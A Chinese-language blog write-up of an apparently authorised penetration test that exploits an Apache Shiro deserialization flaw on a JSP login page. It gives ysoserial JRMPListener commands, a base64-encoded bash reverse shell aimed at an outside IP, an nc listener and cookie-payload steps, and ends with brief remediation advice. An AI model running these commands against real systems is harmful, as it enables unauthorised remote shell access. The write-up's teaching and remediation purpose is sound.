0x01.前言
首先我解釋下封面哈,我是一個安全研究者(菜菜,很菜的菜),另外呢,我喜歡這個封面,略微有點顏色,但是你如果說她低俗,那么請您離開,咱們不適合做朋友,我喜歡有靈魂的思想,安全研究者-我更喜歡有腦洞的人。
這是一次授權的滲透測試,技術含量不高,但我始終相信,每一次的積累,都是為了成就更好的自己,所以過程簡潔,記錄下每個知識點。對滲透而言,我更喜歡實戰的體驗感,那種喜悅和知識的獲取感,永遠是無法比擬的。這次實戰,最多的還是收獲,拿下此戰,進而滲透更多的站來獲取不同的細節,不懂的話你就品一下。
0x02.滲透過程
這篇文章沒有前期的信息收集,省略過了一切,直接開始我們滲透。
1)網站環境
域名:http://manage.xxxxxx.org.cn/xxx /login.jsp
程序語言:jsp
這僅僅是一個登錄框的測試。
2)探測登錄框架
開啟神奇Burp,抓包,通過返回包的情況來進行分析(敏感信息打碼)
3)步入洞點
當看到關鍵字rememberMe=deleteMe;,你是否就會想起Shiro反序列化漏洞,那么我們現在用實驗室的集成腳本進行測試,是否存在Shiro反序列化漏洞。這里相當於先提供POC測試。
首先burp做監聽器:
然后使用腳本進行測試:
經過測試,是存在Shiro反序列化漏洞的。
4)深入探測Shiro反序列化漏洞
這邊的目的,就是危害最大程度,那么我就繼續進行測試,最嚴重的模式,也就是直接拿到主機shell,這邊也提供最詳細的操作,以及遇到的一些坑點作為分享。
思路:一台公網的vps做監聽,配合burp發送payload,然后獲取shell。
1.在公網 vps 執行下列命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “反彈shell的命令”
這里的命令,需要使用 Java Runtime 配合 bash 編碼。
bash -i > /dev/tcp/ip/port 0>& 1
最終執行命令為:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMTIuNjQuODcuMy8xMjM0IDA+JiAx}|{base64,-d}|{bash,-i}”
這里的CommonsCollections,分為1-10模塊進行測試,這邊使用模塊5進行滲透。
2.使用 exp 生成 payload
Python exp.py 公網ip:port(這邊有一點要避雷)
3.公網 vps 開啟 nc 監聽
Nc -lvp 1234 (監聽1234端口)
4.抓任意 http 數據包,在 cookie 中追加 payload。GoGoGo
5.成功拿到shell
0x03.修復方案
升級 Shiro 版本至 1.2.5 以上; 更改默認密鑰。
0x04.總結
- 了解基本的網站架構
- 抓包探測確定中間件
- 了解各類中間件和框架的漏洞
- 熟悉並熟練掌握Shiro漏洞的利用方式
- 熟悉nc的使用方法
- 多積累,多學習,多練習
轉載請注明:Adminxe's Blog » 實戰滲透-Shiro反序列化漏洞實例